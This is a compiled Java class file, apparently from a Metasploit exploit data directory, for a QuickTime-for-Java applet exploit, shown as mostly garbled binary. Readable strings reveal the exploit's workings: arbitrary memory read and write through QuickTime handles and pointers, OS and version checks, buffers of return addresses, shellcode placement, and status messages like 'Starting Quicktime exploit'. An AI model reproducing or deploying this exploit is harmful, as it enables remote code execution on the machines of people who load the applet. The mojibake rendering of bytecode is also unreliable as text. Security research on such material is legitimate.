metasploit-gs/data/exploits/QTJavaExploit.class

Êþº¾/


e„
d…†
‡ˆ‰
Š‹
Œ
�Ž
d�	‡�‘
„’
“
”•–
—
˜
™š›
œ
�
džŸ ¡¢
£
d¤
d¥
d¦
§¨©ª«
d¬­®¯°±²³´µ€
d¶·¸
§¹º»¼½¾
¿ÀÁÂ
¿ÃÄÅÆÇÈÉ ð 
 Ê ÀË 
‘gÖÙg×`hÙh`hÀhPgûÀgüPh
ÀhPÌÍÎÏÐÑÒÓÔ
dÕÖ
¿×ØÙ
ÚÛÜ
<init>
()V
Code
LineNumberTable
intFromByte
(B)I
intFromBytesLE
(BBBB)I
intFromBytesBE
bytesFromIntLE
(I)[B
bytesFromIntBE
isBigEndian
()I
handleToAddress
(Lquicktime/util/QTHandle;)I
winAddrToPointer
!(II)Lquicktime/util/QTPointerRef;
winAddrToHandle
(II)Lquicktime/util/QTHandle;

addrToPointer

readMemory
(II)[B
writeMemory
(II[B)V
	copyBytes
([B[B)V
init

SourceFile
QTJavaExploit.javafgjk
os.archÝÞß
ppcàáâãäåæçxyèé
java/lang/StringBuffer
Creating a pointer to 0xêëìíî

 for size êïðñòóô
quicktime/util/QTHandlefõögtu
Trying to overwrite 0x
 + base handle ptr is 0x
 + base handle size is 0x
# - giving up wrapping to address 0xãwrsqpop÷øù
quicktime/QTException
os.name
Windowsvw
Finding a pointer to 0x
 + offset is 0x
 (

)
" - giving up on mapping address 0x
 + trying to allocate 0x
 bytes (base=0x

 / offset=
)
zw
<< Reading 
 bytes from 0xúû
>> Writing 
 bytes to 0x
![*] Starting Quicktime exploit...
'[*] Parsed target and shellcode data...
#[*] Creating a Quicktime session...üýg

os.version
 [*] Getting Quicktime version...þs

Platform: 

 
 (QT 
This system has been patched!
![*] Finding the correct target...
10.4
10.3
 + x86 detected...
No matching target...
Target mismatch, exiting...
Shellcode @ 0x
Addresses @ 0x
&Creating buffer of return addresses...
&Creating buffer of buffer addresses...
Trying exploit...
i=
 max=}~
Cleaning up...ÿg
java/lang/Exception
Exception: ê


QTJavaExploit
java/applet/Applet
java/lang/System
getProperty
&(Ljava/lang/String;)Ljava/lang/String;
java/lang/String
indexOf
(Ljava/lang/String;)I
toQTPointer
()Lquicktime/util/QTPointerRef;
quicktime/QTObject
ID
(Lquicktime/QTObject;)I
out
Ljava/io/PrintStream;
append
,(Ljava/lang/String;)Ljava/lang/StringBuffer;
java/lang/Integer
toHexString
(I)Ljava/lang/String;
(I)Ljava/lang/StringBuffer;
toString
()Ljava/lang/String;
java/io/PrintStream
println
(Ljava/lang/String;)V
([B)V
moveHigh
quicktime/util/QTPointerRef

copyFromArray
(I[BII)V
getBytes
()[B
quicktime/QTSession
open
getQTVersion
close
,(Ljava/lang/Object;)Ljava/lang/StringBuffer;!de
fg
h

*·
±
i
	jk
h
ÿ~¬
i
!	lm
ha56¸x`6¸x`6¸x`6¸x`6¬
i%&'(')2*	nm
ha56¸x`6¸x`6¸x`6¸x`6¬
i./01'223	op
ha5¼L+zÿ~‘T+zÿ~‘T+zÿ~‘T+zÿ~‘T+°
i789:(;3<	qp
ha5¼L+zÿ~‘T+zÿ~‘T+zÿ~‘T+zÿ~‘T+°
i@ABC(D3E	rs
h8
¸K*¶ ¬¬
iIJKM	tu
h&

*¶L+¸¬
i
RS	vw
h-
¸	M,¶N-°
iWXY	xy
h
ý
Q²
»Y·
¶¸¶¶¶¶¶¼M¼N¼:»Y,·:»Y-·:¸666	6

žÈ¼:»Y·:¶¸6	²
»Y·¶¸¶¶¶²
»Y·¶	¸¶¶¶²
»Y·¶¸¶¶¶	¤	dh6
§	ddh6
„
ÿ¤"²
»Y·¶¸¶¶¶
°`6§ÿ9
¶:¸ ¸ :§	¸!:¶"°M
°%

N#

M
N#
iŠ"`%d)e-f2h<iFkMlPmSnVr[taulvqxxz•{²|Ï~Öâ�í‚ð…÷†
‡
Š
‹
 Ž
+‘
2’
;”
A˜
K›
N�	zw
h
è

P$¸M,%¶Ÿ	¸&°²
»Y·'¶¸¶¶¶¶¶¼N¼:»Y-·:66`6žåzšÝ¼N»Y-·:¸6¤dh6§ddh6„ÿ²
»Y·(¶¸¶)¶¶*¶¶¶+`¤!²
»Y·,¶¸¶¶¶
°žÿjzšÿb²
»Y·-¶¸¶.¶¸¶/¶¸¶0¶¶¶1`6§ÿ¶:		°N
°;ì
M#í
L
M#
iv£¤¥©;«?¬D­N®Q¯T°Y²f´kµu¶|¸‚¹�»—¼š¿ÆÂÏÃëÄíÇúÈ
6É
@Í
JÎ
MÏ
NÐ	{|
hS3¸2M²
»Y·3¶¶4¶,¸¸¶¶¶,¶5°
iÔÕ.Ö	}~
h[7¸2N²
»Y·6¶¶7¶-¸¸¶¶¶-,¶"±
iÚÛ.Ü6Ý	€
h9=+¾¢*+3T„
§ÿñ±
iáâáä
�g
h!õÁ²
8¶¼YðTYðTYðTYðTYðTYðTYðTYðTYðTY	ðTY
ðTYðTYðTY
ðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTY ðTY!ðTY"ðTY#ðTY$ðTY%ðTY&ðTY'ðTY(ðTY)ðTY*ðTY+ðTY,ðTY-ðTY.ðTY/ðTY0ðTY1ðTY2ðTY3ðTY4ðTY5ðTY6ðTY7ðTY8ðTY9ðTY:ðTY;ðTY<ðTY=ðTY>ðTY?ðTY@ðTYAðTYBðTYCðTYDðTYEðTYFðTYGðTYHðTYIðTYJðTYKðTYLðTYMðTYNðTYOðTYPðTYQðTYRðTYSðTYTðTYUðTYVðTYWðTYXðTYYðTYZðTY[ðTY\ðTY]ðTY^ðTY_ðTY`ðTYaðTYbðTYcðTYdðTYeðTYfðTYgðTYhðTYiðTYjðTYkðTYlðTYmðTYnðTYoðTYpðTYqðTYrðTYsðTYtðTYuðTYvðTYwðTYxðTYyðTYzðTY{ðTY|ðTY}ðTY~ðTYðTY€ðTY�ðTY‚ðTYƒðTY„ðTY…ðTY†ðTY‡ðTYˆðTY‰ðTYŠðTY‹ðTYŒðTY�ðTYŽðTY�ðTY�ðTY‘ðTY’ðTY“ðTY”ðTY•ðTY–ðTY—ðTY˜ðTY™ðTYšðTY›ðTYœðTY�ðTYžðTYŸðTY ðTY¡ðTY¢ðTY£ðTY¤ðTY¥ðTY¦ðTY§ðTY¨ðTY©ðTYªðTY«ðTY¬ðTY­ðTY®ðTY¯ðTY°ðTY±ðTY²ðTY³ðTY´ðTYµðTY¶ðTY·ðTY¸ðTY¹ðTYºðTY»ðTY¼ðTY½ðTY¾ðTY¿ðTYÀðTYÁðTYÂðTYÃðTYÄðTYÅðTYÆðTYÇðTYÈðTYÉðTYÊðTYËðTYÌðTYÍðTYÎðTYÏðTYÐðTYÑðTYÒðTYÓðTYÔðTYÕðTYÖðTY×ðTYØðTYÙðTYÚðTYÛðTYÜðTYÝðTYÞðTYßðTYàðTYáðTYâðTYãðTYäðTYåðTYæðTYçðTYèðTYéðTYêðTYëðTYìðTYíðTYîðTYïðTYððTYñðTYòðTYóðTYôðTYõðTYöðTY÷ðTYøðTYùðTYúðTYûðTYüðTYýðTYþðTYÿðTY
ðTY

ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
	ðTY

ðTY
ðTY
ðTY

ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
ðTY
 ðTY
!ðTY
"ðTY
#ðTY
$ðTY
%ðTY
&ðTY
'ðTY
(ðTY
)ðTY
*ðTY
+ðTY
,ðTY
-ðTY
.ðTY
/ðTY
0ðTY
1ðTY
2ðTY
3ðTY
4ðTY
5ðTY
6ðTY
7ðTY
8ðTY
9ðTY
:ðTY
;ðTY
<ðTY
=ðTY
>ðTY
?ðTY
@ðTY
AðTY
BðTY
CðTY
DðTY
EðTY
FðTY
GðTY
HðTY
IðTY
JðTY
KðTY
LðTY
MðTY
NðTY
OðTY
PðTY
QðTY
RðTY
SðTY
TðTY
UðTY
VðTY
WðTY
XðTY
YðTY
ZðTY
[ðTY
\ðTY
]ðTY
^ðTY
_ðTY
`ðTY
aðTY
bðTY
cðTY
dðTY
eðTY
fðTY
gðTY
hðTY
iðTY
jðTY
kðTY
lðTY
mðTY
nðTY
oðTY
pðTY
qðTY
rðTY
sðTY
tðTY
uðTY
vðTY
wðTY
xðTY
yðTY
zðTY
{ðTY
|ðTY
}ðTY
~ðTY
ðTY
€ðTY
�ðTY
‚ðTY
ƒðTY
„ðTY
…ðTY
†ðTY
‡ðTY
ˆðTY
‰ðTY
ŠðTY
‹ðTY
ŒðTY
�ðTY
ŽðTY
�ðTY
�ðTY
‘ðTY
’ðTY
“ðTY
”ðTY
•ðTY
–ðTY
—ðTY
˜ðTY
™ðTY
šðTY
›ðTY
œðTY
�ðTY
žðTY
ŸðTY
 ðTY
¡ðTY
¢ðTY
£ðTY
¤ðTY
¥ðTY
¦ðTY
§ðTY
¨ðTY
©ðTY
ªðTY
«ðTY
¬ðTY
­ðTY
®ðTY
¯ðTY
°ðTY
±ðTY
²ðTY
³ðTY
´ðTY
µðTY
¶ðTY
·ðTY
¸ðTY
¹ðTY
ºðTY
»ðTY
¼ðTY
½ðTY
¾ðTY
¿ðTY
ÀðTY
ÁðTY
ÂðTY
ÃðTY
ÄðTY
ÅðTY
ÆðTY
ÇðTY
ÈðTY
ÉðTY
ÊðTY
ËðTY
ÌðTY
ÍðTY
ÎðTY
ÏðTY
ÐðTY
ÑðTY
ÒðTY
ÓðTY
ÔðTY
ÕðTY
ÖðTY
×ðTY
ØðTY
ÙðTY
ÚðTY
ÛðTY
ÜðTY
ÝðTY
ÞðTY
ßðTY
àðTY
áðTY
âðTY
ãðTY
äðTY
åðTY
æðTY
çðTY
èðTY
éðTY
êðTY
ëðTY
ìðTY
íðTY
îðTY
ïðTY
ððTY
ñðTY
òðTY
óðTY
ôðTY
õðTY
öðTY
÷ðTY
øðTY
ùðTY
úðTY
ûðTY
üðTY
ýðTY
þðTY
ÿðTYðTY
ðTYðTYðTYðTYðTYðTYðTYðTY	ðTY
ðTYðTYðTY
ðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTY ðTY!ðTY"ðTY#ðTY$ðTY%ðTY&ðTY'ðTY(ðTY)ðTY*ðTY+ðTY,ðTY-ðTY.ðTY/ðTY0ðTY1ðTY2ðTY3ðTY4ðTY5ðTY6ðTY7ðTY8ðTY9ðTY:ðTY;ðTY<ðTY=ðTY>ðTY?ðTY@ðTYAðTYBðTYCðTYDðTYEðTYFðTYGðTYHðTYIðTYJðTYKðTYLðTYMðTYNðTYOðTYPðTYQðTYRðTYSðTYTðTYUðTYVðTYWðTYXðTYYðTYZðTY[ðTY\ðTY]ðTY^ðTY_ðTY`ðTYaðTYbðTYcðTYdðTYeðTYfðTYgðTYhðTYiðTYjðTYkðTYlðTYmðTYnðTYoðTYpðTYqðTYrðTYsðTYtðTYuðTYvðTYwðTYxðTYyðTYzðTY{ðTY|ðTY}ðTY~ðTYðTY€ðTY�ðTY‚ðTYƒðTY„ðTY…ðTY†ðTY‡ðTYˆðTY‰ðTYŠðTY‹ðTYŒðTY�ðTYŽðTY�ðTY�ðTY‘ðTY’ðTY“ðTY”ðTY•ðTY–ðTY—ðTY˜ðTY™ðTYšðTY›ðTYœðTY�ðTYžðTYŸðTY ðTY¡ðTY¢ðTY£ðTY¤ðTY¥ðTY¦ðTY§ðTY¨ðTY©ðTYªðTY«ðTY¬ðTY­ðTY®ðTY¯ðTY°ðTY±ðTY²ðTY³ðTY´ðTYµðTY¶ðTY·ðTY¸ðTY¹ðTYºðTY»ðTY¼ðTY½ðTY¾ðTY¿ðTYÀðTYÁðTYÂðTYÃðTYÄðTYÅðTYÆðTYÇðTYÈðTYÉðTYÊðTYËðTYÌðTYÍðTYÎðTYÏðTYÐðTYÑðTYÒðTYÓðTYÔðTYÕðTYÖðTY×ðTYØðTYÙðTYÚðTYÛðTYÜðTYÝðTYÞðTYßðTYàðTYáðTYâðTYãðTYäðTYåðTYæðTYçðTYèðTYéðTYêðTYëðTYìðTYíðTYîðTYïðTYððTYñðTYòðTYóðTYôðTYõðTYöðTY÷ðTYøðTYùðTYúðTYûðTYüðTYýðTYþðTYÿðTYðTY
ðTYðTYðTYðTYðTYðTYðTYðTY	ðTY
ðTYðTYðTY
ðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTYðTY ðTY!ðTY"ðTY#ðTY$ðTY%ðTY&ðTY'ðTY(ðTY)ðTY*ðTY+ðTY,ðTY-ðTY.ðTY/ðTY0ðTY1ðTY2ðTY3ðTY4ðTY5ðTY6ðTY7ðTY8ðTY9ðTY:ðTY;ðTY<ðTY=ðTY>ðTY?ðTY@ðTYAðTYBðTYCðTYDðTYEðTYFðTYGðTYHðTYIðTYJðTYKðTYLðTYMðTYNðTYOðTYPðTYQðTYRðTYSðTYTðTYUðTYVðTYWðTYXðTYYðTYZðTY[ðTY\ðTY]ðTY^ðTY_ðTY`ðTYaðTYbðTYcðTYdðTYeðTYfðTYgðTYhðTYiðTYjðTYkðTYlðTYmðTYnðTYoðTYpðTYqðTYrðTYsðTYtðTYuðTYvðTYwðTYxðTYyðTYzðTY{ðTY|ðTY}ðTY~ðTYðTY€ðTY�ðTY‚ðTYƒðTY„ðTY…ðTY†ðTY‡ðTYˆðTY‰ðTYŠðTY‹ðTYŒðTY�ðTYŽðTY�ðTY�ðTY‘ðTY’ðTY“ðTY”ðTY•ðTY–ðTY—ðTY˜ðTY™ðTYšðTY›ðTYœðTY�ðTYžðTYŸðTY ðTY¡ðTY¢ðTY£ðTY¤ðTY¥ðTY¦ðTY§ðTY¨ðTY©ðTYªðTY«ðTY¬ðTY­ðTY®ðTY¯ðTY°ðTY±ðTY²ðTY³ðTY´ðTYµðTY¶ðTY·ðTY¸ðTY¹ðTYºðTY»ðTY¼ðTY½ðTY¾ðTY¿ðTYÀðTYÁðTYÂðTYÃðTYÄðTYÅðTYÆðTYÇðTYÈðTYÉðTYÊðTYËðTYÌðTYÍðTYÎðTYÏðTYÐðTYÑðTYÒðTYÓðTYÔðTYÕðTYÖðTY×ðTYØðTYÙðTYÚðTYÛðTYÜðTYÝðTYÞðTYßðTYàðTYáðTYâðTYãðTYäðTYåðTYæðTYçðTYèðTYéðTYêðTYëðTYìðTYíðTYîðTYïðTYððTYñðTYòðTYóðTYôðTYõðTYöðTY÷ðTYøðTYùðTYúðTYûðTYüðTYýðTYþðTYÿðTL¼YÌTYÌTM,3ÿ~>²
9¶²
:¶¸;666666	$¸:
¸:<¸:²
=¶¸>z6
²
»Y·?¶
¶@¶¶@¶¶A¶
¸¶*¶¶¶
¤²
B¶±²